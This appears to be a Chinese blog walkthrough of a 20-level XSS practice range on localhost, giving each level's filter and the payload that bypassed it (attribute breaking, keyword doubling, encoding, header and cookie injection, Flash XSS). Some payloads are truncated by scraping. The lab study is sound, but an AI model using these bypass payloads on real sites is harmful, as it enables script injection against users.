XSS挑战之旅--游戏闯关

在知识星球上看到别人发的一个XSS靶场,刚好适合刷完sql-labs的我学习XSS
level1

  • 没有任何过滤,直接URL后面加XSS测试语句弹窗
exp:
http://localhost/xss_test/level1.php?name=123;

XSS挑战之旅--游戏闯关
文章图片
level2
  • 有搜索框,像第一关一样在搜索框测试一下,但是没有像第一关一样弹窗
XSS挑战之旅--游戏闯关
文章图片
  • 查看源码发现我们的XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签就可以正常弹窗了
XSS挑战之旅--游戏闯关
文章图片
1">

XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
level3
  • 转义了尖括号,这里可以用单引号闭合value但是没办法闭合input标签,但是可以注释掉标签然后用事件弹窗
XSS挑战之旅--游戏闯关
文章图片
1' onclick=alert(1)//

XSS挑战之旅--游戏闯关
文章图片
level4
  • 跟第三关差不多,过滤了尖括号,用双引号闭合value然后注释掉标签用事件弹窗
XSS挑战之旅--游戏闯关
文章图片
1" onclick=alert(1)//

XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
level5
  • 过滤了script和onclick标签,但是没过滤a标签
XSS挑战之旅--游戏闯关
文章图片
">

XSS挑战之旅--游戏闯关
文章图片
level6
  • 过滤了script,onclick,href,但是由于是用str_replace函数来过滤的,所以可以用大小写绕过
XSS挑战之旅--游戏闯关
文章图片
">

XSS挑战之旅--游戏闯关
文章图片
level7
  • 尝试了一下前面的payload,发现on,script,href关键字被屏蔽,但由于是直接替换为空,所以可以用单词嵌套来绕过
XSS挑战之旅--游戏闯关
文章图片
1" oonnclick=alert(1)//

XSS挑战之旅--游戏闯关
文章图片
level8
  • 添加友情链接所以直接就有一个href标签,首先尝试了javascript:laert(1),
XSS挑战之旅--游戏闯关
文章图片
  • 但是发现script被过滤了,然后尝试大小写绕过不行
XSS挑战之旅--游戏闯关
文章图片
  • 最后用html实体编码绕过
j a v a s c r i p t : a l e r t ( 1 )

XSS挑战之旅--游戏闯关
文章图片
level9
  • script被过滤,添加的url有验证合法性,没有带http://内则不合法,可以放在注释后面,通过tab制表符(%09)绕过对script的过滤
http://localhost/xss_test/level9.php?keyword=javascr%09ipt:alert(1)//http://

XSS挑战之旅--游戏闯关
文章图片
level10
  • 有隐藏的form,尝试看能否注入
XSS挑战之旅--游戏闯关
文章图片
http://localhost/xss_test/level10.php?keyword=well done!&t_ilnk=" tyoe="text" 1&t_history=" type="text" 2&t_sort=" type="text" 3

  • 发现t_sort是可以注入的,于是用t_sort来弹窗
XSS挑战之旅--游戏闯关
文章图片
http://localhost/xss_test/level10.php?keyword=well done!&t_sort=" type="text" onclick="alert(1)

level11
  • 发现有个t_ref字段是http referer的值,于是抓包修改
XSS挑战之旅--游戏闯关
文章图片
  • 修改前
XSS挑战之旅--游戏闯关
文章图片
  • 修改referer后
XSS挑战之旅--游戏闯关
文章图片
" type="text" onclick="alert(1)

XSS挑战之旅--游戏闯关
文章图片
level12
  • 源码发现t_ua字段是http User-Agent的值,所以还是抓包修改!
XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
" type="text" onclick="alert(1)

XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
level13
  • 字段t_cook跟cookie的值一样,抓包修改cookie
XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1);

XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
level14
  • http://exofvoewer.org登不上,放弃了,可以直接看先知上的wp了解exif xss
level15
  • 这题有angular js,然后ng-include相当于php的include函数,然后src参数被转义了,最终我们
    可以include leve1然后再用img标签传xss(这里我用firefox打不成功,但是换chrome就可以了)
http://localhost/xss_test/level15.php?src='https://www.it610.com/article/level1.php?name=XSS挑战之旅--游戏闯关
文章图片
level16
  • script,空格被过滤,可以考虑用上一关的img标签来绕过以及%0a绕过空格
XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
http://localhost/xss_test/level16.php?keyword=%3Cimg%0asrc=https://www.it610.com/article/1%0aonerror=alert(1)%3E

level17
  • 直接在embed标签插入onmouseover事件
http://localhost/xss_test/level17.php?arg01=a&arg02=b onmouseover=alert(1)

XSS挑战之旅--游戏闯关
文章图片
XSS挑战之旅--游戏闯关
文章图片
level18
  • 跟17关一样
http://localhost/xss_test/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

XSS挑战之旅--游戏闯关
文章图片
level19
  • flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
XSS挑战之旅--游戏闯关
文章图片
  • 然后追踪到sIFR的内容
XSS挑战之旅--游戏闯关
文章图片
  • 得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
XSS挑战之旅--游戏闯关
文章图片
  • 所以我们可以构造标签来传值
http://localhost/xss_test/level19.php?arg01=version&arg02=123

XSS挑战之旅--游戏闯关
文章图片
  • 点击123即可xss
XSS挑战之旅--游戏闯关
文章图片
level20
  • 这题是zeroclipboard.swf的xss,上网搜了一下,没太看懂,先放个payload吧,以后慢慢理解
http://localhost/xss_test/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

【XSS挑战之旅--游戏闯关】参考文章:
  • https://www.jianshu.com/p/7b8fe7f01d62
  • https://www.freebuf.com/sectool/108568.html
  • https://www.cnblogs.com/r00tuser/p/7407459.html

    推荐阅读